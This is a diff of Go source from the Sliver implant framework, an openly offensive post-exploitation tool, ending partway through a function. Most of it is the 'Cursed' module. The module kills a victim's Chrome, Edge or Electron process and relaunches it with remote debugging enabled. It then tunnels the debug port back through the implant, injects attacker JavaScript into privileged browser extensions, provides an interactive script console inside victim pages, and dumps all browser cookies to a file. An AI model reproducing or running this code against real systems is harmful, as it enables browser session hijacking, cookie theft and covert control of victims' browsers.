gray = "\033[37m"
bold = "\033[1m"
clearln = "\r\x1b[2K"
upN = "\033[%dA"
downN = "\033[%dB"
underline = "\033[4m"
// Info - Display colorful information
Info = bold + cyan + "[*] " + normal
// Warn - Warn a user
Warn = bold + red + "[!] " + normal
// Debug - Display debug information
Debug = bold + purple + "[-] " + normal
// Woot - Display success
Woot = bold + green + "[$] " + normal
)
var (
// ActiveSliver - The current sliver we're interacting with
ActiveSliver = &activeSliver{
observers: []observer{},
}
defaultTimeout = 30 * time.Second
stdinReadTimeout = 10 * time.Millisecond
)
// RPCServer - Function used to send/recv envelopes
type RPCServer func(*sliverpb.Envelope, time.Duration) chan *sliverpb.Envelope
type observer func()
type activeSliver struct {
Sliver *clientpb.Sliver
observers []observer
}
func (s *activeSliver) AddObserver(fn observer) {
s.observers = append(s.observers, fn)
}
func (s *activeSliver) SetActiveSliver(sliver *clientpb.Sliver) {
s.Sliver = sliver
for _, fn := range s.observers {
fn()
}
}
func (s *activeSliver) DisableActiveSliver() {
s.Sliver = nil
for _, fn := range s.observers {
fn()
}
}
// Get Sliver by session ID or name
func getSliver(arg string, rpc RPCServer) *clientpb.Sliver {
resp := <-rpc(&sliverpb.Envelope{
Type: clientpb.MsgSessions,
Data: []byte{},
}, defaultTimeout)
sessions := &clientpb.Sessions{}
proto.Unmarshal((resp).Data, sessions)
for _, sliver := range sessions.Slivers {
if strconv.Itoa(int(sliver.ID)) == arg || sliver.Name == arg {
return sliver
}
}
return nil
}
// SliverSessionsByName - Return all sessions for a Sliver by name
func SliverSessionsByName(name string, rpc RPCServer) []*clientpb.Sliver {
resp := <-rpc(&sliverpb.Envelope{
Type: clientpb.MsgSessions,
Data: []byte{},
}, defaultTimeout)
allSessions := &clientpb.Sessions{}
proto.Unmarshal((resp).Data, allSessions)
sessions := []*clientpb.Sliver{}
for _, sliver := range allSessions.Slivers {
if sliver.Name == name {
sessions = append(sessions, sliver)
}
}
return sessions
}
// This should be called for any dangerous (OPSEC-wise) functions
func isUserAnAdult() bool {
confirm := false
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
survey.AskOne(prompt, &confirm, nil)
return confirm
}
File diff suppressed because it is too large. Load diff
+4
View File
@@ -0,0 +1,4 @@
Completers
===========
This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
+63
View File
@@ -0,0 +1,63 @@
package completers
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
)
// LocalPathCompleter - Completes a local file system path
func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
var parent string
var partial string
fi, err := os.Stat(prefix)
if os.IsNotExist(err) {
parent = filepath.Dir(prefix)
partial = filepath.Base(prefix)
} else {
if fi.IsDir() {
parent = prefix
partial = ""
} else {
parent = filepath.Dir(prefix)
partial = filepath.Base(prefix)
}
}
results := []string{}
ls, err := ioutil.ReadDir(parent)
if err != nil {
return results
}
for _, fi = range ls {
if 0 < len(partial) {
if strings.HasPrefix(fi.Name(), partial) {
results = append(results, filepath.Join(parent, fi.Name()))
}
} else {
results = append(results, filepath.Join(parent, fi.Name()))
}
}
return results
}
+3
View File
@@ -0,0 +1,3 @@
# Cursed
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
+435
View File
@@ -0,0 +1,435 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
insecureRand "math/rand"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
ErrUnsupportedOS = errors.New("unsupported OS")
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraChrome(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
}
}
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
chromeProcess, err := getChromeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if chromeProcess != nil {
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: chromeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(false, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
name := "Chrome"
if isEdge {
name = "Edge"
}
con.PrintInfof("Finding %s executable path ... ", name)
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Finding %s user data directory ... ", name)
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Starting %s process ... ", name)
debugPort := getRemoteDebuggerPort(ctx)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
if chromeUserDataDir != "" {
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
}
if ctx.Flags.Bool("restore") {
args = append(args, "--restore-last-session")
}
if ctx.Flags.Bool("keep-alive") {
args = append(args, "--keep-alive-for-test")
}
if ctx.Flags.Bool("headless") {
args = append(args, "--headless")
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExePath,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
con.PrintInfof("Waiting for %s process to initialize ... ", name)
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: chromeExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: chromeExePath,
ChromeUserDataDir: chromeUserDataDir,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
userDataFlag := ctx.Flags.String("user-data")
if userDataFlag != "" {
return userDataFlag, nil
}
switch session.GetOS() {
case "windows":
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
if isEdge {
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
}
return "", ErrUserDataDirNotFound
case "darwin":
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
if isEdge {
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
return "", ErrUserDataDirNotFound
default:
return "", ErrUnsupportedOS
}
}
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
exeFlag := ctx.Flags.String("exe")
if exeFlag != "" {
return exeFlag, nil
}
switch session.GetOS() {
case "windows":
chromeWindowsPaths := []string{
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
}
if isEdge {
chromeWindowsPaths = []string{
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
}
}
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
for _, chromePath := range chromeWindowsPaths {
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExecutablePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromeExecutablePath, nil
}
}
}
return "", ErrChromeExecutableNotFound
case "darwin":
// AFAIK Chrome only installs to this path on macOS
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
if isEdge {
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: defaultChromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return defaultChromePath, nil
}
return "", ErrChromeExecutableNotFound
case "linux":
chromeLinuxPaths := []string{
"/usr/bin/google-chrome",
"/usr/bin/chromium-browser",
"/usr/local/bin/google-chrome",
"/usr/local/bin/chromium-browser",
}
if isEdge {
chromeLinuxPaths = []string{
"/usr/bin/microsoft-edge",
"/usr/local/bin/microsoft-edge",
}
}
for _, chromePath := range chromeLinuxPaths {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromePath, nil
}
}
return "", ErrChromeExecutableNotFound
default:
return "", ErrUnsupportedOS
}
}
func isChromeProcess(executable string) bool {
var chromeProcessNames = []string{
"chrome", // Linux
"google-chrome", // Linux
"chromium-browser", // Linux
"chrome.exe", // Windows
"Google Chrome", // Darwin
}
for _, suffix := range chromeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+183
View File
@@ -0,0 +1,183 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
"github.com/desertbit/readline"
)
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
startCursedConsole(curse, true, target, con)
}
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
if len(targets) < 1 {
con.PrintErrorf("No debug targets\n")
return nil
}
id2target := map[string]overlord.ChromeDebugTarget{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, target := range targets {
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
id2target[target.ID] = target
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a debug target:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedID := strings.Split(selected, " ")[0]
selectedTarget := id2target[selectedID]
return &selectedTarget
}
var (
helperHooks = []string{
"console.log = (...a) => {return a;}", // console.log
}
)
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := ioutil.TempFile("", "cursed")
reader, err := readline.NewEx(&readline.Config{
Prompt: "\033[31mcursed »\033[0m ",
HistoryFile: tmpFile.Name(),
// AutoComplete: nil,
InterruptPrompt: "^C",
EOFPrompt: "exit",
HistorySearchFold: true,
// FuncFilterInputRune: filterInput,
})
if err != nil {
con.PrintErrorf("Failed to create read line: %s\n", err)
return
}
if helpers {
// Execute helper hooks
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
for _, hook := range helperHooks {
_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
if err != nil {
con.PrintErrorf("%s\n", err)
}
}
}
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
for {
line, err := reader.Readline()
if err == readline.ErrInterrupt {
if len(line) == 0 {
break
} else {
continue
}
} else if err == io.EOF {
break
}
switch strings.TrimSpace(line) {
case ":help":
con.Println()
con.Println("Available commands:")
con.Println(" :file - Execute local .js file")
con.Println(" :help - Show this help")
con.Println(" :exit - Exit the console")
con.Println()
case ":file":
jsCode, err := ioutil.ReadFile(line)
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
case ":exit":
fallthrough
case "exit":
return
default:
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
}
}
}
+69
View File
@@ -0,0 +1,69 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"strings"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
if err != nil {
con.PrintErrorf("Failed to dump cookies: %s\n", err)
return
}
con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
if len(cookies) == 0 {
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
}
jsonCookies := []string{}
for _, cookie := range cookies {
jsonCookie, err := cookie.MarshalJSON()
if err != nil {
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
}
err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err)
return
}
con.PrintInfof("Saved to %s", saveFile)
con.Println()
}
+170
View File
@@ -0,0 +1,170 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraEdge(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Edge extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Edge extensions were found ☹️\n")
}
}
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
edgeProcess, err := getEdgeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if edgeProcess != nil {
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: edgeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(true, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func isEdgeProcess(executable string) bool {
var edgeProcessNames = []string{
"msedge", // Linux
"microsoft-edge", // Linux
"msedge.exe", // Windows
"Microsoft Edge", // Darwin
}
for _, suffix := range edgeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isEdgeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+233
View File
@@ -0,0 +1,233 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"log"
insecureRand "math/rand"
"path"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
electronExe := ctx.Flags.String("exe")
if electronExe == "" {
con.PrintErrorf("Missing --exe flag, see --help\n")
return
}
curse := avadaKedavraElectron(electronExe, session, ctx, con)
if curse == nil {
return
}
con.PrintInfof("Checking for debug targets ...")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
if len(targets) == 0 {
con.PrintErrorf("Zero debug targets found\n")
return
}
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
}
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
exists, err := checkElectronPath(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s", err)
return nil
}
if !exists {
con.PrintErrorf("Executable path does not exist: %s", electronExe)
return nil
}
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if electronProcess != nil {
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: electronProcess.Pid,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
if err != nil {
